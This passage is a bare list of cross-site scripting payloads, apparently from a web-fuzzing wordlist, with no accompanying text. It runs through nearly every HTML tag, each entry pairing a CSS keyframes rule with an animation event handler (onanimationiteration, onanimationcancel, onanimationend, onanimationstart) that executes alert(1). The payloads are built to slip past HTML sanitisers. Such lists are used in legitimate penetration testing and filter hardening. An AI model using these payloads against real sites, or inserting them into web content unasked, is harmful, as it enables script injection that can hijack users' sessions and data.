style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strong> +<style>@keyframes slidein {}</style><style style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></style> +<style>@keyframes slidein {}</style><sub style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sub> +<style>@keyframes slidein {}</style><summary style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></summary> +<style>@keyframes slidein {}</style><sup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sup> +<style>@keyframes slidein {}</style><svg style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></svg> +<style>@keyframes slidein {}</style><table style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></table> +<style>@keyframes slidein {}</style><tbody style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tbody> +<style>@keyframes slidein {}</style><td style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></td> +<style>@keyframes slidein {}</style><template style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></template> +<style>@keyframes slidein {}</style><textarea style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></textarea> +<style>@keyframes slidein {}</style><tfoot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tfoot> +<style>@keyframes slidein {}</style><th style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></th> +<style>@keyframes slidein {}</style><thead style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></thead> +<style>@keyframes slidein {}</style><time style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></time> +<style>@keyframes slidein {}</style><title style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></title> +<style>@keyframes slidein {}</style><tr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tr> +<style>@keyframes slidein {}</style><track style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></track> +<style>@keyframes slidein {}</style><tt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tt> +<style>@keyframes slidein {}</style><u style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></u> +<style>@keyframes slidein {}</style><ul style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ul> +<style>@keyframes slidein {}</style><var style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></var> +<style>@keyframes slidein {}</style><video style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></video> +<style>@keyframes slidein {}</style><wbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></wbr> +<style>@keyframes slidein {}</style><xmp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xmp> +<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><abbr id=x style="position:absolute;" onanimationcancel="alert(1)"></abbr> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><acronym id=x style="position:absolute;" onanimationcancel="alert(1)"></acronym> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><address id=x style="position:absolute;" onanimationcancel="alert(1)"></address> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><applet id=x style="position:absolute;" onanimationcancel="alert(1)"></applet> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><area id=x style="position:absolute;" onanimationcancel="alert(1)"></area> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><article id=x style="position:absolute;" onanimationcancel="alert(1)"></article> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><aside id=x style="position:absolute;" onanimationcancel="alert(1)"></aside> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio id=x style="position:absolute;" onanimationcancel="alert(1)"></audio> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><b id=x style="position:absolute;" onanimationcancel="alert(1)"></b> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><base id=x style="position:absolute;" onanimationcancel="alert(1)"></base> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><basefont id=x style="position:absolute;" onanimationcancel="alert(1)"></basefont> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdi id=x style="position:absolute;" onanimationcancel="alert(1)"></bdi> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdo id=x style="position:absolute;" onanimationcancel="alert(1)"></bdo> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bgsound id=x style="position:absolute;" onanimationcancel="alert(1)"></bgsound> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><big id=x style="position:absolute;" onanimationcancel="alert(1)"></big> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blink id=x style="position:absolute;" onanimationcancel="alert(1)"></blink> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blockquote id=x style="position:absolute;" onanimationcancel="alert(1)"></blockquote> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><body id=x style="position:absolute;" onanimationcancel="alert(1)"></body> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><br id=x style="position:absolute;" onanimationcancel="alert(1)"></br> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><button id=x style="position:absolute;" onanimationcancel="alert(1)"></button> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><canvas id=x style="position:absolute;" onanimationcancel="alert(1)"></canvas> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><caption id=x style="position:absolute;" onanimationcancel="alert(1)"></caption> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><center id=x style="position:absolute;" onanimationcancel="alert(1)"></center> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><cite id=x style="position:absolute;" onanimationcancel="alert(1)"></cite> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><code id=x style="position:absolute;" onanimationcancel="alert(1)"></code> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><col id=x style="position:absolute;" onanimationcancel="alert(1)"></col> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><colgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></colgroup> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><command id=x style="position:absolute;" onanimationcancel="alert(1)"></command> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><content id=x style="position:absolute;" onanimationcancel="alert(1)"></content> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><data id=x style="position:absolute;" onanimationcancel="alert(1)"></data> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><datalist id=x style="position:absolute;" onanimationcancel="alert(1)"></datalist> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dd id=x style="position:absolute;" onanimationcancel="alert(1)"></dd> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><del id=x style="position:absolute;" onanimationcancel="alert(1)"></del> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><details id=x style="position:absolute;" onanimationcancel="alert(1)"></details> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dfn id=x style="position:absolute;" onanimationcancel="alert(1)"></dfn> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dialog id=x style="position:absolute;" onanimationcancel="alert(1)"></dialog> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dir id=x style="position:absolute;" onanimationcancel="alert(1)"></dir> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><div id=x style="position:absolute;" onanimationcancel="alert(1)"></div> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dl id=x style="position:absolute;" onanimationcancel="alert(1)"></dl> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dt id=x style="position:absolute;" onanimationcancel="alert(1)"></dt> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><element id=x style="position:absolute;" onanimationcancel="alert(1)"></element> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><em id=x style="position:absolute;" onanimationcancel="alert(1)"></em> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><embed id=x style="position:absolute;" onanimationcancel="alert(1)"></embed> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><fieldset id=x style="position:absolute;" onanimationcancel="alert(1)"></fieldset> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figcaption id=x style="position:absolute;" onanimationcancel="alert(1)"></figcaption> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figure id=x style="position:absolute;" onanimationcancel="alert(1)"></figure> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><font id=x style="position:absolute;" onanimationcancel="alert(1)"></font> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><footer id=x style="position:absolute;" onanimationcancel="alert(1)"></footer> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><form id=x style="position:absolute;" onanimationcancel="alert(1)"></form> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frame id=x style="position:absolute;" onanimationcancel="alert(1)"></frame> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frameset id=x style="position:absolute;" onanimationcancel="alert(1)"></frameset> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><h1 id=x style="position:absolute;" onanimationcancel="alert(1)"></h1> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><head id=x style="position:absolute;" onanimationcancel="alert(1)"></head> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><header id=x style="position:absolute;" onanimationcancel="alert(1)"></header> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></hgroup> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hr id=x style="position:absolute;" onanimationcancel="alert(1)"></hr> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><html id=x style="position:absolute;" onanimationcancel="alert(1)"></html> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><i id=x style="position:absolute;" onanimationcancel="alert(1)"></i> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe id=x style="position:absolute;" onanimationcancel="alert(1)"></iframe> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image id=x style="position:absolute;" onanimationcancel="alert(1)"></image> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img id=x style="position:absolute;" onanimationcancel="alert(1)"></img> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input id=x style="position:absolute;" onanimationcancel="alert(1)"></input> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ins id=x style="position:absolute;" onanimationcancel="alert(1)"></ins> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><isindex id=x style="position:absolute;" onanimationcancel="alert(1)"></isindex> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><kbd id=x style="position:absolute;" onanimationcancel="alert(1)"></kbd> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><keygen id=x style="position:absolute;" onanimationcancel="alert(1)"></keygen> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><label id=x style="position:absolute;" onanimationcancel="alert(1)"></label> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><legend id=x style="position:absolute;" onanimationcancel="alert(1)"></legend> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><li id=x style="position:absolute;" onanimationcancel="alert(1)"></li> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><link id=x style="position:absolute;" onanimationcancel="alert(1)"></link> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><listing id=x style="position:absolute;" onanimationcancel="alert(1)"></listing> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><main id=x style="position:absolute;" onanimationcancel="alert(1)"></main> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><map id=x style="position:absolute;" onanimationcancel="alert(1)"></map> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><mark id=x style="position:absolute;" onanimationcancel="alert(1)"></mark> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><marquee id=x style="position:absolute;" onanimationcancel="alert(1)"></marquee> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menu id=x style="position:absolute;" onanimationcancel="alert(1)"></menu> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menuitem id=x style="position:absolute;" onanimationcancel="alert(1)"></menuitem> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meta id=x style="position:absolute;" onanimationcancel="alert(1)"></meta> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meter id=x style="position:absolute;" onanimationcancel="alert(1)"></meter> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><multicol id=x style="position:absolute;" onanimationcancel="alert(1)"></multicol> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nav id=x style="position:absolute;" onanimationcancel="alert(1)"></nav> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nextid id=x style="position:absolute;" onanimationcancel="alert(1)"></nextid> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nobr id=x style="position:absolute;" onanimationcancel="alert(1)"></nobr> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noembed id=x style="position:absolute;" onanimationcancel="alert(1)"></noembed> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noframes id=x style="position:absolute;" onanimationcancel="alert(1)"></noframes> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noscript id=x style="position:absolute;" onanimationcancel="alert(1)"></noscript> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><object id=x style="position:absolute;" onanimationcancel="alert(1)"></object> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ol id=x style="position:absolute;" onanimationcancel="alert(1)"></ol> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><optgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></optgroup> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><option id=x style="position:absolute;" onanimationcancel="alert(1)"></option> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><output id=x style="position:absolute;" onanimationcancel="alert(1)"></output> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><p id=x style="position:absolute;" onanimationcancel="alert(1)"></p> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><param id=x style="position:absolute;" onanimationcancel="alert(1)"></param> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><picture id=x style="position:absolute;" onanimationcancel="alert(1)"></picture> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><plaintext id=x style="position:absolute;" onanimationcancel="alert(1)"></plaintext> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><pre id=x style="position:absolute;" onanimationcancel="alert(1)"></pre> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><progress id=x style="position:absolute;" onanimationcancel="alert(1)"></progress> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><q id=x style="position:absolute;" onanimationcancel="alert(1)"></q> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rb id=x style="position:absolute;" onanimationcancel="alert(1)"></rb> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rp id=x style="position:absolute;" onanimationcancel="alert(1)"></rp> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rt id=x style="position:absolute;" onanimationcancel="alert(1)"></rt> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rtc id=x style="position:absolute;" onanimationcancel="alert(1)"></rtc> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ruby id=x style="position:absolute;" onanimationcancel="alert(1)"></ruby> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><s id=x style="position:absolute;" onanimationcancel="alert(1)"></s> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><samp id=x style="position:absolute;" onanimationcancel="alert(1)"></samp> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><script id=x style="position:absolute;" onanimationcancel="alert(1)"></script> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><section id=x style="position:absolute;" onanimationcancel="alert(1)"></section> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><select id=x style="position:absolute;" onanimationcancel="alert(1)"></select> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><shadow id=x style="position:absolute;" onanimationcancel="alert(1)"></shadow> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><slot id=x style="position:absolute;" onanimationcancel="alert(1)"></slot> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><small id=x style="position:absolute;" onanimationcancel="alert(1)"></small> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><source id=x style="position:absolute;" onanimationcancel="alert(1)"></source> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><spacer id=x style="position:absolute;" onanimationcancel="alert(1)"></spacer> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><span id=x style="position:absolute;" onanimationcancel="alert(1)"></span> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strike id=x style="position:absolute;" onanimationcancel="alert(1)"></strike> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strong id=x style="position:absolute;" onanimationcancel="alert(1)"></strong> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><style id=x style="position:absolute;" onanimationcancel="alert(1)"></style> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sub id=x style="position:absolute;" onanimationcancel="alert(1)"></sub> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><summary id=x style="position:absolute;" onanimationcancel="alert(1)"></summary> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sup id=x style="position:absolute;" onanimationcancel="alert(1)"></sup> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><svg id=x style="position:absolute;" onanimationcancel="alert(1)"></svg> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><table id=x style="position:absolute;" onanimationcancel="alert(1)"></table> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tbody id=x style="position:absolute;" onanimationcancel="alert(1)"></tbody> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><td id=x style="position:absolute;" onanimationcancel="alert(1)"></td> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><template id=x style="position:absolute;" onanimationcancel="alert(1)"></template> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><textarea id=x style="position:absolute;" onanimationcancel="alert(1)"></textarea> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tfoot id=x style="position:absolute;" onanimationcancel="alert(1)"></tfoot> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><th id=x style="position:absolute;" onanimationcancel="alert(1)"></th> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><thead id=x style="position:absolute;" onanimationcancel="alert(1)"></thead> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><time id=x style="position:absolute;" onanimationcancel="alert(1)"></time> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><title id=x style="position:absolute;" onanimationcancel="alert(1)"></title> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tr id=x style="position:absolute;" onanimationcancel="alert(1)"></tr> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><track id=x style="position:absolute;" onanimationcancel="alert(1)"></track> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tt id=x style="position:absolute;" onanimationcancel="alert(1)"></tt> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><u id=x style="position:absolute;" onanimationcancel="alert(1)"></u> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ul id=x style="position:absolute;" onanimationcancel="alert(1)"></ul> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><var id=x style="position:absolute;" onanimationcancel="alert(1)"></var> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video id=x style="position:absolute;" onanimationcancel="alert(1)"></video> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><wbr id=x style="position:absolute;" onanimationcancel="alert(1)"></wbr> +<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xmp id=x style="position:absolute;" onanimationcancel="alert(1)"></xmp> +<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a> +<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a> +<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationend="alert(1)"></abbr> +<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationstart="alert(1)"></abbr> +<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationend="alert(1)"></acronym> +<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationstart="alert(1)"></acronym> +<style>@keyframes x{}</style><address style="animation-name:x" onanimationend="alert(1)"></address> +<style>@keyframes x{}</style><address style="animation-name:x" onanimationstart="alert(1)"></address> +<style>@keyframes x{}</style><applet style="animation-name:x" onanimationend="alert(1)"></applet> +<style>@keyframes x{}</style><applet style="animation-name:x" onanimationstart="alert(1)"></applet> +<style>@keyframes x{}</style><area style="animation-name:x" onanimationend="alert(1)"></area> +<style>@keyframes x{}</style><area style="animation-name:x" onanimationstart="alert(1)"></area> +<style>@keyframes x{}</style><article style="animation-name:x" onanimationend="alert(1)"></article> +<style>@keyframes x{}</style><article style="animation-name:x" onanimationstart="alert(1)"></article> +<style>@keyframes x{}</style><aside style="animation-name:x" onanimationend="alert(1)"></aside> +<style>@keyframes x{}</style><aside style="animation-name:x" onanimationstart="alert(1)"></aside> +<style>@keyframes x{}</style><audio style="animation-name:x" onanimationend="alert(1)"></audio> +<style>@keyframes x{}</style><audio style="animation-name:x" onanimationstart="alert(1)"></audio> +<style>@keyframes x{}</style><b style="animation-name:x" onanimationend="alert(1)"></b> +<style>@keyframes x{}</style><b style="animation-name:x" onanimationstart="alert(1)"></b> +<style>@keyframes x{}</style><base style="animation-name:x" onanimationend="alert(1)"></base> +<style>@keyframes x{}</style><base style="animation-name:x" onanimationstart="alert(1)"></base> +<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationend="alert(1)"></basefont> +<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationstart="alert(1)"></basefont> 